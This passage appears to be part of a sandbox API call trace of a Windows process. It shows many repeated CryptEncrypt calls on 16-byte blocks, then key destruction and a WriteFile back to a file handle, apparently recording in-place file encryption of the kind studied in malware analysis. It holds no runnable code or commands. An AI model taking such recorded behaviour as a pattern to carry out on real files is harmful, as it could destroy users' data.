pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.147] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.148] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.149] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.150] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.151] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.151] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0162.151] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x998, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0162.151] WriteFile (in: hFile=0x388, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c8e0, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c8e0*=0x524, lpOverlapped=0x0) returned 1 [0162.152] GetProcessHeap () returned 